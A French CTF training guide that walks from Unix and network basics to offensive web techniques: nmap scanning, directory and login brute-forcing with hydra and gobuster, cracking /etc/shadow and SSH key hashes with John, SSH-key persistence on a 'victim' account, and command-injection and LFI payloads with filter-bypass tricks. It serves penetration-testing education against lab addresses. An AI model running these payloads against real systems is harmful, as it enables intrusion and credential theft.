ls : afficher le contenu du répertoire courant
ls -l : afficher le contenu du répertoire courant, avec des info sur les droits des fichiers
ls -l xxx : afficher les droits du fichier xxx
ls -al : afficher le contenu du répertoire courant, y compris les fichiers cachés
cat xxx : afficher le contenu du fichier xxx
pwd : répertoire courant
cd xxx : se déplacer dans le répertoire xxx
cd .. : se déplacer vers le répertoire parent
id : identifiant du compte et groupes auquel il appartient
uname -a : informations sur le serveur: quelle distribution et version du kernel.
Quelques flags sont accessibles dans ton terminal.
Tu peux commencer dans le répertoire /home/yolo/flags avant d'étendre à tout ton système.
C'est l'occasion de mettre en pratique les commandes détaillées dans ce chapitre.
Et puisque tu lis la doc, c'est cadeau : Flag_rtfm_shell
cd ~/flags
Le système de fichier Unix part de la racine : /
Il contient généralement les répertoires:
/home/xxx : un répertoire par compte utilisateur xxx
~ : votre répertoire utilisateur
/root : le répertoire de l'administrateur
/tmp : fichiers temporaires
/bin : commandes systèmes
/etc : fichiers de configuration du système
/var/log : logs des programmes comme le serveur web
/var/www : emplacement par défaut des fichiers des serveurs web
/etc/passwd : liste des comptes de la machine
/etc/hosts : le nom de la machine et ses alias
Les connections aux serveurs se font en ssh.
Soit avec un login/password
ssh user@hostname
Soit avec un fichier de clef privée
ssh -i id_rsa user@hostname
Sur les serveurs, il est fréquent de s'identifier avec une clef privée plutôt qu'un mot de passe. Vos clefs se trouvent en :
$ ls -al ~/.ssh
total 20
drwx------ 2 yolo yolo 4096 Apr 4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 2610 Apr 4 13:47 id_rsa
-rw-r--r-- 1 yolo yolo 575 Apr 4 13:47 id_rsa.pub
-rw-r--r-- 1 yolo yolo 1998 Apr 1 19:45 known_hosts
Les clefs privées permettant de se connecter à votre compte sont dans le fichier :
~/.ssh/authorized_keys
Générer une paire de clef privée/publique:
Taper juste [entrée] à (empty for no passphrase) pour générer une clef privée sans mot de passe.
Si vous saisissez un mot de passe, votre clef sera chiffrée, et vous devrez taper le mot de passe à chaque utilisation.
$ ssh-keygen -t rsa -b 4096 -C yolo@yoloctf.org -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:OSHYGRwrI7LM9/8haFfVXgBlXrdHcdfEZxIv9CeWg5Q yolo@yoloctf.org
The key's randomart image is:
+---[RSA 4096]----+
| .o. .+=o*O|
| o.+ .Eo+=X|
|. . + = . ..o*=*|
|oo . o . o. ...+o|
|.o . S. . |
| . . . .. |
| + o . |
| . o . . |
| ... |
+----[SHA256]-----+
Le fichier de clef privée ne doit être lisible que par son propriétaire.
Si besoin faire : chmod 600 id_rsa.
vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx 2 yolo yolo 4096 Apr 4 13:24 .
drwxr-xr-x 27 yolo yolo 4096 Apr 4 13:22 ..
-rw------- 1 yolo yolo 3381 Apr 4 13:24 id_rsa
-rw-r--r-- 1 yolo yolo 742 Apr 4 13:24 id_rsa.pub
Les entêtes de clef privées sont caractéristiques
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
7KrJLvv/4Ve+Dm5bLwhJ9BkLessiIlGgx0ju+ghI7V+Ar+qAhir5chpVSGH4YIk0J8VDbJ
...
O9mUtgl8PKUd5AQL6sMM/FaYffu7+OFQkJzv3hxyiFEQPhsAo2K55cG8S0RWCX9Jp96U54
lOXLj6MfGkfzuvvFS4pm9iTBrwKq8h7CubmNOnHe3TH3U/Mrzf6wq8MwAEpSeTWfnBGdRP
tHOBQdCIQj3JAAAAEHlvbG9AeW9sb2N0Zi5vcmcBAg==
-----END OPENSSH PRIVATE KEY-----
Entête d'une clef privée protégée par mot de passe:
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
La clef publique associée :
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ== yolo@yoloctf.org
Une fois le mot passe d'une clef privée trouvé avec John, il est possible de l'enlever pour se simplifier la vie.
openssl rsa -in [id_rsa_sec] -out [id_rsa]
Les clefs publiques permettant de se connecter en ssh sont listées, une clef par ligne, dans le fichier.
~/.ssh/authorized_keys
Une fois sur un compte utilisateur d'un serveur, injectez votre clef publique pour avoir un accès direct en ssh.
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
Si le répertoire n'existe pas, il suffit de le créer:
mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys
Laissez tomber votre webshell, et revenez en ssh:
ssh -i id_rsa_yolo victim@target.com
Une adresse IP (avec IP pour Internet Protocol) est un identifiant, qui est attribuée, de façon permanente ou provisoire, à chaque machine relié à un réseau informatique (PC, téléphone, smart TV, objet connecté,...).
Les adresses IPv4 (version 4) sont codées sur 32 bits. Elles sont généralement représentées en notation décimale avec quatre nombres compris entre 0 et 255, séparés par des points. Exemple : 172.16.254.1
Un serveur possède autant d'adresses que de cartes réseaux. Certaines adresses ont une utilisation réservée:
Sous-réseau
Les premiers bits de l'adresse IP précisent le numéro du réseau, les suivants le numéro de l'hôte.
Le nombre de bits du réseau est précisé par le masque de réseau:
Quand nous scannons 10.10.10.1/24, nous testons toutes les adresses de 10.10.10.1 à 10.10.10.255
192.168.X.X/16, 172.16.0.0/12 et 10.X.X.X/8
Les adresses 192.168.X.X/16, 172.16.0.0/12 et 10.X.X.X/8 sont réservées pour les réseaux locaux. Vous ne devez pratiquer de scans et des exploits que sur des machines joignables sur ces plages d'adresses.
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Adresse_IP
$ ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
73: eth1@if74: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.10.10.3/24 brd 10.10.10.255 scope global eth1
valid_lft forever preferred_lft forever
$ ifconfig
eth0: flags=4163 mtu 1500
inet 10.10.0.2 netmask 255.255.255.0 broadcast 10.10.0.255
ether 02:42:0a:0a:00:02 txqueuelen 0 (Ethernet)
RX packets 7567 bytes 573298 (559.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7073 bytes 4046236 (3.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163 mtu 1500
inet 10.10.10.3 netmask 255.255.255.0 broadcast 10.10.10.255
ether 02:42:0a:0a:0a:03 txqueuelen 0 (Ethernet)
RX packets 15569 bytes 2618290 (2.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20985 bytes 1976399 (1.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Utiliser nmap pour identifier les serveurs sur le sous-réseau 10.10.10.4/24
# nmap 10.10.10.4/24
# nmap 10.10.10.1-255
# nmap 10.10.10.4
# nmap -A 10.10.10.4 : Scan les 1000 ports les plus utilisés. Cherche les versions des services et l'OS
# nmap -sV -sC -p- 10.10.10.4 : scan les 655535 ports TCP et cherche les versions des services ouverts.
# nmap -sU 10.10.10.4 : scan des ports UDP (trés trés lent)
-sV : Tente d'identifier la version du service
-sC : Scanne avec les scripts NMap par défaut. Les scripts considérés comme sans risque.
-A : Tente de détecter la version de l'OS, la version des services, utilise les scripts par défaut, et réalise un traceroute
-p- : Scanne les 65535 ports TCP
-sU : Scanne les ports UDP (trés long)
-oN nmap.log : output file
On peut lancer ces trois commandes dans trois shells en parallèle.
Les services de type ftp, web, ldap tournent peuvent fonctionner sur n'importe quel port, mais utilisent généralement les ports qui leur sont réservés. Le port 80 par exemple est le port utilisé par les serveurs web pour HTTP. Le port 443 est le port pour HTTPS.
TCP
20: ftp data
21: ftp control
22: ssh
23: telnet
25: SMTP (mail)
37: Time protocol
53: Bind/DNS
69: TFTP (Trivial FTP)
80: HTTP
109: POP2
110: POP3
111: RPC Remote Procedure Call
137: Netbios Name Service
138: Netbios Datagram Service
139: Netbios Session Service
143: IMAP (mail)
161: SNMP
220: IMAP
389: LDAP
443: HTTPS
445: MS Active Directory, SMB
464: Kerberos
1521: Oracle Database
3000: Node JS
3306: MySQL
UDP
69: TFTP
161: SNMP
http://www.0daysecurity.com/penetration-testing/enumeration.html
Le fichier robots.txt, quand il existe, est enregistré à la racine d'un site web.
Il contient une liste des ressources du site qui ne sont pas censées être indexées par les robots d'indexation des moteurs de recherche.
Par convention, les robots consultent robots.txt avant d'indexer un site Web.
Son contenu peut donc nous interresser.
http://10.10.10.8/robots.txt
Plus d'info : https://fr.wikipedia.org/wiki/Protocole_d%27exclusion_des_robots
Les développeurs laissent parfois des informations utiles, voire des mots de passe dans les commentaires du code. Ce sont souvent des urls,ou des champs de formulaires utilisés pour les tests.
/* Secret code */
<!--- Secret code --->
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>
Bruteforcer un site web consiste à tester la présence de pages accessibles, telles /register, /register.php, /admin, /upload, /users/login.txt, /admin/password.sav, ...
Pour celà il existe des listes de répertoires et de noms de fichiers fréquemment présents sur les serveurs web.
Une fois la techno du serveur connue (php, java, wordpress, joomla, ...) il est possible d'utiliser des listes optimisées, et ne chercher que les extensions adaptées: php, php4, php5, exe, jsp, ...
Il est aussi possible de chercher des fichiers aux extensions intéressantes : cfg, txt, sav, jar, zip, sh, ...
Logiciels de brute force usuels :
Il est crucial de bien choisir la liste de répertoires/noms de fichiers:
Dirb est préinstallé sur Kali ou Parrot. Si ce n'est pas le cas:
sudo apt-get install -y dirb
Lancer un scan rapide avec dirb, qui va utiliser sa liste 'common.txt':
dirb 10.10.10.11
https://github.com/OJ/gobuster
Le télécharger et l'installer en /opt
wget https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-amd64.7z
sudo apt install p7zip-full
7z x gobuster-linux-amd64.7z
sudo cp gobuster-linux-amd64/gobuster /opt/gobuster
chmod a+x /opt/gobuster
Bruteforce le site http://10.10.10.11, avec la liste directory-list-2.3-medium.txt, avec des extensions de fichier html,php,txt
/opt/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.11 -l -x html,php,txt
Pour une url en HTTPS, ajouter l'option de ligne de commande
-k : skip HTTPS ssl verification
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 10.10.10.157 http-get /monitoring
-p login
-P password file
-f server adress
http-get : HTTP request type
/monitoring : url path
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.11 http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.4 http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V
Attention si la réponse est un 302 Redirect, hydra ne va pas suivre et va générer un faux positif.
Format des urls
Posts : /index.php?p=22
/index.php/2017/04/12/hello-world/
/index.php/jobs/apply/8/
Login : /wp-login/
/wp-login.php
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%
Fichier de config, et credentials de la base de donnée
/var/www/html/
wordpress/wp-config.php
wordpress/htdocs/wp-config.php
Wpscan connait la structure d'un site wordpress et va faire du brute force pour identifier les pages, le posts, les users, le thème, les plugins.
Les failles de wordpress viennent essentiellement des plugins non mis à jour.
wpscan --url http://10.10.10.10/wordpress/ -e
--url : url de la page wordpress.
-e : énumeration
Brute force du login
wpscan --url http://10.10.10.10/wordpress/ -P rockyou.txt -U admin
Si vous avez les identifiants et mots de passe. Se connecter avec le client mysql.
mysql --host=HOST -u USER -p
--host=précise le nom du serveur
-u le login
-p force la saisie du mot de passe.
Dumper le contenu de la base.
show databases; -- Liste les bases de données.
-- La base 'information_schema' contient des informations internes à mysql ou mariadb. On peut généralement l'ignorer.
use DATABASE;
show tables; -- Liste les tables
SELECT * FROM TABLENAME;
Le protocole HTTP est utilisé par les navigateurs web pour obtenir des documents hébergés par les serveurs.
Le navigateur se connecte en TCP à un serveur, sur le port 80 par défaut.
La requête minimale contient une commande (ici GET), une URL (/hello.txt), une ligne vide.
GET /hello.txt
La réponse contient directement le fichier.
Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001
La version 1.1 du protocole HTTP est optimisée pour transférer des pages HTML complexes, et permet de négocier la langue et les formats d'encodages.
La requête minimale contient une commande (GET), une url (/hello.txt), la version (HTTP/1.1), le champ Host, une ligne vide.
GET /hello.txt HTTP/1.1
Host: 10.10.10.11 80
La réponse contient une entête composée de nombreux champs (server, date,...), la longueur du contenu (13), et le contenu sous forme de texte.
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13
Hello world
Les headers de la réponse sont des mines d'information sur le serveur, sa version...
Ici un serveur Apache en version 0.8.4 qui éxécute des scripts avec un interpréteur php en version 7.3.13.
HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001
Code de réponse HTTP
1xx informational response – the request was received, continuing process
2xx successful – the request was successfully received, understood, and accepted
200 OK
3xx redirection – further action needs to be taken in order to complete the request
301 Moved Permanently => Redirection
304 Not Modified
4xx client error – the request contains bad syntax or cannot be fulfilled
400 Bad request
401 Unauthorized
403 Forbidden
404 Not found
5xx server error – the server failed to fulfil an apparently valid request
500 Internal Server Error
502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.
https://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Télécharger un fichier :
$ wget http://localhost:8001/
Afficher le contenu de la réponse :
$ curl http://localhost:8001/
Afficher les headers, la requête et le contenu de la réponse :
$ curl -v http://localhost:8001/
Les headers HTTP sont standardisés et sont riches en information.
Il est possible d'ajouter des headers personnels, tel 'X-MyHeader: value'
GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value
Pour ajouter un header avec curl : -H 'header: valeur'
$ curl -H 'X-MyHeader: value' http://localhost:8001
L'URI permet de précider une ressource, et d'ajouter des paramètres.
Le premier paramètre est identifié par un ?, les suivants par un &.
Si les paramètres contiennent des ? ou des &, ils sont encodés sous la forme %3F et %26. On parle de Percent (%) encoding.
https://fr.wikipedia.org/wiki/Percent-encoding
Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
Le shell unix utilisant le & pour lancer des taches en arrière plan, il est impératif de mettre l'URL entre '.
HTTP dispose d'une fonctionnalité d'authentification basique. Il est possible ajouter un champ contenant un identifiant et un mot de passe en clair.
Ces informations sont mise sous la forme login:password, puis encodées en base64, et ajoutées dans l'entête de la requête:
Authorization: Basic bG9naW46cGFzc3dvcmQ=
Exemple:
GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*
Pour envoyer une requête avec des informations d'authentification avec curl:
$ curl -u login:password http://localhost:8001/hello.txt
Pour encoder un login:password dans le terminal
$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=
Pour décoder du base64 dans le terminal
$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password
Pour tester une liste de mots de passe:
for i in `cat rockyou.txt`; do printf \n$i:; curl -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done
Quand une page web comporte un formulaire, elle peut envoyer le contenu des champs avec la méthode GET dans les paramètres de l'URL, ou avec la méthode POST dans le corps de la requète.
Les valeurs en paramètres du GET apparaissent dans les logs, et sont limités en longueur.
Les valeurs en paramètres du POST n'apparaissent pas dans les logs, et ne sont pas limités en longueur. Il est ainsi possible d'uploader de gros fichiers.
Ces paramètres sont encodés avec le format 'Percent encoding'.
Exemple:
POST /login.php HTTP/1.1
Host: 10.10.1.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
login=James&password=007
Poster un formulaire avec curl:
$ curl -X POST -F 'username=admin' -F 'password=megapassword' http://localhost:8001/
Les formulaires sont des objets HTML de base, définis par les balises <form> et </form>
<input name='xxx'>: Nom des champs de type texte.
<form action='xxx': URL a laquelle sera envoyé le formulaire. Si le champ est vide, le formulaire est envoyé à la URL.
Exemple:
<form action="/action_page.php">
First name: <input type="text" name="firstname" value="Mickey">
Last name: <input type="text" name="lastname" value="Mouse">
<input type="submit" value="Submit">
</form>
Poster un formulaire avec curl:
$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse' http://12.10.1.11/action_page.php
Les pages web comportant des formulaires utilisent généralement la commande POST, mais elles peuvent aussi utiliser une commande GET.
Dans ce cas, la valeur des paramètres sont directement passés comme argument dans la requète.
Ne pas oublier de mettre l'url entre 'cotes'
Exemple:
$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'
Dans les formulaires élaborés, les données sont validées en Java Script avant d'être envoyées, au bon format au serveur.
JavaScript utilise nativement le format JSON pour envoyer des structures de données structurées.
Exemple: {key1:value1, key2:value2}.
Dans ce cas, l'entête Content-Type précise le type de données: Content-Type: application/json
Exemple:
POST / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34
{"key1":"value1", "key2":"value2"}
Curl :
$ curl --header "Content-Type: application/json" -X POST --data '{"key1":"value1", "key2":"value2"}' http://10.10.1.11/
Les formulaires sont généralement utilisés pour s'enregister, se connecter ou d'uploader des fichiers.
Des contrôles sur les fichiers uploadés peuvent être fait en javascript sur le client, ou sur le serveur.
On vérifie souvent la taille, le nom, l'extension du fichier, et parfois son header.
Un chapitre entier du guide est dédié à l'upload de nos shells.
Un champ de type Fichier est caractérisé par le code HTML
<input type=file name=fileToUpload>:
Commande curl
curl -X POST -F 'fileToUpload=@./picture.jpg' http://10.10.1.11/upload
Les cookies servent à stocker des valeurs sur le navigateur qui seront reutilisées entre deux sessions.
Ils peuvent contenir des choix de langue, couleurs, et parfois d'authentification...
Lire les cookies envoyés par le serveur et les stocker dans un cookie jar.
$ curl -c cookies.txt http://10.10.1.11/cookies.php
Envoyer un cookie sauvegardé, et sauver la nouvelle valeur
$ curl -b cookies.txt -c cookies.txt http://10.10.1.11/cookies.php
Envoyer un cookie manuellement
$ curl -b 'code=1447' http://10.10.1.11/cookies.php
Quand il faut choisir un mot de passe, ça tombe toujours au plus mauvais moment.
Et comme, en plus, il faut s'en souvenir... les mots de passe sont souvent basés sur des notions simples: prénom, marque, souvenir...
Heureusement, les responsables de la sécurité imposent des politiques de gestion des mots de passe, conçues pour éviter ces dérives...
Enfin, il faut le dire vite ;)
Dans 90% des cas, la majuscule est en début de mot de passe, les chiffres et le caractère spécial à la fin...
Evitez d'utiliser Vacances12! comme mot de passe...
RockYou, une société basée en Californie, permettait de s'authentifier sur des application facebook sans avoir à saisir de mots de passe. En décembre 2009, elle s'est fait hacker.
La base de données contenant les noms et mots de passe en clair de ses 32 millions de clients a été volée puis rendue publique.
Une analyse des mots de passe à montré que les deux tiers des mots de passe faisaient moins de 6 caractères, et que le mot de passe le plus utilisé était 123456.
Cette liste des mots de passes, triés par fréquence est fréquement utilisée dans les CTF.
Sur Kali, le fichier, zippé, est rangé en : /usr/share/wordlists/rockyou.zip
Dans le terminal, pour prendre de bonnes habitudes, le fichier est rangé en : /usr/share/wordlists/rockyou.txt
fichier de mots de passe Rockyou: rockyou.txt
Pour savoir si ton adresse email est présente dans une fuite de donnée, tu peux utiliser le service de Firefox Monitor.
https://monitor.firefox.com/
Un professionnel ne garde jamais un mot de passe en clair.
Il enregistre un Hash.
Un Hash est généré par une fonction mathématique à partir du mot de passe de l'utilisateur.
Quand l'utilisateur saisit son mot de passe, le logiciel calcule le Hash et le transmet au serveur qui le compare avec le Hash qu'il a stocké.
Si les deux Hash coincident, alors l'utilisateur connait le mot de passe, et est authentifié.
Si un curieux sniffe les messages, il ne verra pas le mot de passe, juste le Hash.
Connaissant le Hash, il est compliqué de retrouver le mot de passe.
Pour calculer un Hash du mot de passe '123456' avec la fonction MD5, utilise la commande suivante dans le terminal :
$ printf '123456' | md5sum
123456 donnera toujours le même Hash MD5.
La fonction MD5 a été très utilisée par le passé, mais la puissance des processeurs actuels impose l'utilisation de fonctions plus complexes à craquer comme SHA1, SHA256 ou SHA512.
La taille du Hash augmente avec la complexité de l'algorithme.
printf '123456' | sha1sum
7c4a8d09ca3762af61e59520943dc26494f8941b
printf '123456' | sha256sum
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
Note: on utilise 'printf' et pas 'echo' pour un calcul de Hash. Echo ajoute un saut de ligne qui est pris en compte par le Hash.
Les Hash plus longs sont plus compliqués à casser, mais il est toujours possible de pré-calculer les valeurs de listes comme RockYou.
Pour éviter le précalcul des Hash, nous utilisons des Salts.
Ce sont des valeurs supplémentaires que l'on ajoute au début du mot de passe avant de calculer le Hash.
La vérification du Hash reste rapide, mais les tables pré-calculées deviennent inutiles, il faut les recalculer pour chaque Salt.
Calculer le hash de 123456 avec le Salt ABCDE et la fonction de Hash MD5 en python:
$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"
Avec openssl: -1: MD5 password, -5:SHA256 and -6:SHA512
$ openssl passwd -1 -salt ABCDE 123456
Le résultat est : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1
Il est composé de 3 champs :
$1 : la fonction utilisée est MD5 ($5 SHA256, $6 SHA512)
$ABCDE : le Salt
$Kn5RIMYO1QXy7GtJysNSC1 : le Hash calculé en ajoutant le Salt
Use online services to crack hash:
Try: e10adc3949ba59abbe56e057f20f883e
Le fichier /etc/passwd est un fichier texte dont chaque ligne décrit un compte d'utilisateur.
Chaque ligne se compose de sept champs séparés par un deux-points.
Voici un exemple d'un enregistrement :
jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh
Les champs, de gauche à droite, sont :
Les premières lignes du fichier sont généralement des comptes systèmes.
Les comptes utilisateurs sont souvent décrits dans les dernière lignes.
Ce fichier permet d'identifier rapidement les utlisateurs, les applications (tomcat, mysql, www_data,...), leurs répertoires de travail, et s'ils ont ou non accès à un shell.
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Passwd
John The ripper permet de vérifier si un hash correspond à un mot de passe présent dans une liste.
Enregistrer un ou plusieurs Hash dans le fichier hash.txt
$ echo 'root:$1$1337$WmteYFHyEYyx2MDVXln7Y1' >hash.txt
$ echo 'wordpressuser1:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0' >>hash.txt
Utiliser John the ripper pour casser le mot de passe en se servant sa liste de mots de passe interne:
$ john hash.txt
Utiliser John the ripper pour casser le mot de passe en se servant de la liste Rockyou:
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
John n'affiche plus les mots de passe qu'il a déjà cassé.
Pour afficher ces mots de passe:
$ john hash.txt --show
Il existe plusieurs version de John sur Internet. Les distributions Kali et Parrot, installent la version John Community Enhanced -jumbo. Cette distribution est disponible en https://github.com/openwall/john
$ sudo snap install john-the-ripper
$ john
John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit 64 AVX2 AC]
Bruteforcer /etc/shadows avec John:
$ unshadow /etc/passwd /etc/shadow > hash.txt
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john hash.txt --show
Bruteforcer un hash My SQL avec John:
mysql -u dbuser -p drupaldb
show databases;
show tables;
select name, pass from users;
exit
-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| | |
| admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR |
| Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg |
| ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi |
+-------+---------------------------------------------------------+
echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt
$ john hash.txt --show
Bruteforce a pasword protected id_rsa id (id used for ssh connections):
RSA header:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D
NhAAAAAwEAAQAAAgEA4hHFXkYNJLp47GZdP1LEJ3rueKhu4c9SCqzbeJfaWUJY/nZSmV76
Let check if the password is in the Rockyou list.
$ python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
$ john hash.txt --show
L'injection de commande Shell est possible quand un programme utilise une donnée, entrée par l'utilisateur, sans la filtrer, comme argument d'une commande shell.
Par exemple: un formulaire permet de saisir son nom et l'afficher. Le code coté serveur va ressembler à:
system ('echo '.$NAME);
Si nous saisissons:
YOLO; cat /etc/password;
Le serveur va enchainer les deux commandes en executant:
system ('echo YOLO; cat /etc/password;');
Nous allons récupérer le contenu du fichier passwd.
Avec une injection de commande nous avons la main sur le serveur. Nous pouvons récupérer des informations sur le serveur (uname -a), recupérer des noms de comptes (cat /etc/passwd), récupérer les fichiers de config du serveur web, lancer un reverse shell...
Utiliser les séparateurs de commandes ; && | ||
echo YOLO; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd Seulement si la première commande est en echec
Il est possible de forcer l'execution d'une commande avec ` $ et {
echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}
Les développeurs peuvent avoir mis des filtres pour empécher l'execution de commande. Par exemple retirer les espaces. Néanmoins, même sans espaces, il est toujours possible de lancer lancer des commandes:
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
Si un filtre recherche une liste de commandes, il est toujours possible de le contourner: simple quote, double quote, backslash et slash
c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami
Et si un nom de fichier est filtré, il est possible de multiplier les / Filtre sur cat et /etc/passwd
c\at /etc////////passwd
De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques.
Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.
Par exemple:
L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur.
A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.
Nous allons remplacer 'login.php' par le nom d'un autre fichier, par exemple '/etc/passwd'.
http://10.10.10.11/index.php?page=/etc/password
Le serveur web apache fonctionne généralement dans le répertoire /var/www/html.
Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd.
Nous utilisons alors /../ pour remonter d'un répertoire.
/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.
Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires.
/var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../
http://10.10.10.11?page=../../../../../etc/passwd
Une LFI permet de lire TOUS les fichiers de la machine accessible au compte du serveur web.
Le serveur extrait le paramètre 'page' de la requète http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.
http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php.
Sur les version de php antérieures à 5.3.4, l'ajout d'un null byte à la fin de notre paramètre va signifier la fin de la chaine de caractère, et conduit à ignorer l'extension '.php'.
http://10.10.10.11/index.php?page=/etc/password%00
< %3C %253C
> %3E %253E
« %22 %2522
‘ %27 %2527
/ %2F %252F
. %2E %252E
= %3D %253D
– %2D %252D
: %3A %253A
Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées.
Ils vont supprimer les ../ et les / dans le nom du fichier
Ce genre de filtre s'appelle un Waf : Web Application Filter.
Il est possible de contourner ces filtres de plusieures manières:
Le langage php offre la possibilité de passer les fichiers dans des filtres avant de les ouvrir. Il est ainsi possible d'encoder un fichier en base64 avant de l'ouvrir.
